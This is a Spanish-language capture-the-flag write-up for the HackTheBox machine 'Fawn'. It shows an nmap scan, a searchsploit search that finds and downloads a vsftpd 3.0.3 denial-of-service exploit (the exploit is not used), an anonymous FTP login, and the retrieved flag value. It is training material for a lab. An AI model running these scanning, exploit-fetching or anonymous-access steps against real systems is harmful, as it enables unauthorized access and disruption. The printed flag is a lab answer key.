

HackTheBox

Máquina: Fawn
Pablo José Pérez Díez

Escaneo inicial:

```
Carpeta ...
(pabli@kali)-[~]
$ sudo nmap -sV -O -sV 10.129.85.240
[sudo] contraseña para pabli:
Starting Nmap 7.95 ( https://nmap.org ) at
Nmap scan report for 10.129.85.240
Host is up (0.091s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Unix
```

Observamos que existe un exploit para esta versión de FTP y lo descargamos al directorio actual:

```
Carpeta ...
(pabli@kali)-[~]
$ searchsploit vsftpd 3.0.3

Exploit Title | Path
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py

Shellcodes: No Results

(pabli@kali)-[~]
$ searchsploit -m multiple/remote/49719.py
Exploit: vsftpd 3.0.3 - Remote Denial of Service
URL: https://www.exploit-db.com/exploits/49719
Path: /usr/share/exploitdb/exploits/multiple/remote/49719.py
Codes: N/A
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/pabli/49719.py
```

Mediante la herramienta 2to3 actualizamos el script a python3:

```
Carpeta ...
(pabli@kali)-[~]
$ 2to3-2.7 -w 49719.py
RefactoringTool: Skipping optional fixer: buffer
RefactoringTool: Skipping optional fixer: idioms
RefactoringTool: Skipping optional fixer: set_literal
RefactoringTool: Skipping optional fixer: ws_comma
RefactoringTool: Refactored 49719.py
-- 49719.py (original)
+++ 49719.py (refactored)
```

Con la herramienta autopep8 normalizamos los espacios:

```
Carpeta ...  
(pabli@kali)-[~]  
$ autopep8 --in-place --aggressive --aggressive 49719.py
```

Analizando el contenido del exploit nos damos cuenta de que no nos es útil ya que se trata de un ataque de denegación de servicios, por lo que intentamos entrar de manera más sencilla:

```
Carpeta ...  
(pabli@kali)-[~]  
$ ftp 10.129.85.240  
Connected to 10.129.85.240.  
220 (vsFTPD 3.0.3)  
Name (10.129.85.240:pabli): anonymous  
331 Please specify the password.  
Password:  
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp>
```

Nos conectamos mediante el usuario anonymous sin especificar contraseña, ya que esto nos permite conectarnos al servidor mediante FTP sin credenciales.

Obtenemos la flag haciendo un get:

```
ftp> ls  
229 Entering Extended Passive Mode (|||59931|)  
150 Here comes the directory listing.  
-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt  
226 Directory send OK.  
ftp> cat flag.txt  
?Invalid command.  
ftp> get flag.txt  
local: flag.txt remote: flag.txt  
229 Entering Extended Passive Mode (|||46927|)  
150 Opening BINARY mode data connection for flag.txt (32 bytes).  
100% |*****  
226 Transfer complete.  
32 bytes received in 00:00 (0.16 KiB/s)  
ftp> exit  
221 Goodbye.  
  
(pabli@kali)-[~]  
$ ls  
49719.py 49719.py.bak Descargas Documentos Escritorio flag.txt  
  
(pabli@kali)-[~]  
$ cat flag.txt  
035db21c881520061c53e0536e44f815
```